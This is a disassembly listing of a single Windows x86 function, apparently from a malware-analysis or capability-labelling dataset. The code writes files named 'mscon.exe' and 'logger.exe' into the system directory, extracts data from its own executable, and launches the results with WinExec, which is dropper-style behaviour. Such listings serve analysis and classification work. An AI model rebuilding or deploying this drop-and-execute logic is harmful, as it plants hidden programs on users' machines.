Function at 0x4013f0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, 0x1430
call fcn.00410ae0
mov ecx, dword [0x4220a0]
mov eax, dword [str.mscon.exe]
mov dx, word [0x4220a4]
push ebx
push ebp
push esi
mov dword [esp + 0x38], ecx
push edi
mov dword [esp + 0x38], eax
mov eax, dword [0x422098]
lea ecx, [esp + 0x44]
xor ebx, ebx
push 0x200
push ecx
mov word [esp + 0x48], dx
mov dword [esp + 0x28], eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + eax + 0x45]
xor ebp, ebp
mov byte [esp + eax + 0x44], 0x5c
mov dword [esp + 0x24], edx
mov byte [edx], bl
mov dword [esp + 0x28], ebp
jmp 0x40145f
mov edx, dword [esp + 0x24]
mov edi, dword [ebp*4 + 0x422060]
or ecx, 0xffffffff
xor eax, eax
push 0x422094
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x48]
push ecx
call fcn.00410aca
add esp, 8
cmp eax, ebx
mov dword [esp + 0x34], eax
jne 0x401640
lea edx, [esp + 0x44]
push 0x422090
push edx
call fcn.00410aca
add esp, 8
cmp eax, ebx
mov dword [esp + 0x34], eax
je 0x401640
mov eax, ebp
sub eax, ebx
je 0x4015ba
dec eax
je 0x401548
dec eax
jne 0x401640
mov al, byte [esp + 0x12]
mov esi, dword [str.logger.exe]
sub esp, 0x10
mov edi, esi
mov ebp, esp
or ecx, 0xffffffff
mov dword [esp + 0x28], esp
push 1
mov byte [ebp], al
xor eax, eax
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov ecx, ebp
push ebx
call fcn.00403110
test al, al
je 0x40152b
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
mov byte [eax + ebx], 0
push 0xa3
lea edx, [esp + 0x26]
sub esp, 0x10
lea eax, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
push eax
jmp 0x401628
mov cl, byte [esp + 0x12]
mov esi, dword [0x422064]
sub esp, 0x10
mov edi, esi
mov ebp, esp
xor eax, eax
mov dword [esp + 0x28], esp
push 1
mov byte [ebp], cl
or ecx, 0xffffffff
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov ecx, ebp
push ebx
call fcn.00403110
test al, al
je 0x4015a0
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
mov byte [eax + ebx], 0
push 0xa2
lea edx, [esp + 0x27]
sub esp, 0x10
lea eax, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
push eax
jmp 0x401628
mov cl, byte [esp + 0x13]
mov esi, dword [0x422060]
sub esp, 0x10
mov edi, esi
mov ebp, esp
xor eax, eax
mov dword [esp + 0x28], esp
push 1
mov byte [ebp], cl
or ecx, 0xffffffff
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov ecx, ebp
push ebx
call fcn.00403110
test al, al
je 0x401610
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
call fcn.00403070
push 0xa1
lea eax, [esp + 0x33]
sub esp, 0x10
lea edx, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
push edx
call fcn.004017a0
call fcn.00401110
mov eax, dword [esp + 0x38]
add esp, 0x24
inc eax
xor ebx, ebx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x34]
push eax
call fcn.0041067e
mov ebp, dword [esp + 0x2c]
add esp, 4
inc ebp
cmp ebp, 3
mov dword [esp + 0x28], ebp
jb 0x40145b
cmp dword [esp + 0x14], ebx
jbe 0x401671
lea ecx, [esp + 0x44]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [esp + 0x244]
push 0x200
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x244]
push 0x422094
push eax
call fcn.00410aca
mov ebp, eax
add esp, 8
cmp ebp, ebx
je 0x401785
push 2
push ebx
push ebp
call fcn.00410a1e
push ebp
call fcn.004108c6
mov ecx, dword [0x42206c]
add esp, 0x10
cmp ecx, eax
jge 0x401785
push ebx
push ebx
push ebp
call fcn.00410a1e
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
push 0x42208c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [esp + 0x54]
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x34]
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00410aca
mov edi, eax
add esp, 0x14
cmp edi, ebx
je 0x401785
mov ecx, dword [0x42206c]
push ebx
push ecx
push ebp
call fcn.00410a1e
add esp, 0xc
push ebp
push 0xffc
lea edx, [esp + 0x44c]
push 1
push edx
call fcn.004107de
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x40175c
push edi
push esi
lea eax, [esp + 0x44c]
push 1
push eax
call fcn.004106d4
add esp, 0x10
cmp eax, esi
jne 0x401754
add dword [esp + 0x30], esi
jmp 0x401718
mov dword [esp + 0x2c], 5
push ebp
call fcn.0041067e
push edi
call fcn.0041067e
mov eax, dword [esp + 0x34]
add esp, 8
cmp eax, ebx
je 0x401778
cmp eax, 3
jne 0x401785
lea ecx, [esp + 0x44]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1430
ret 0x10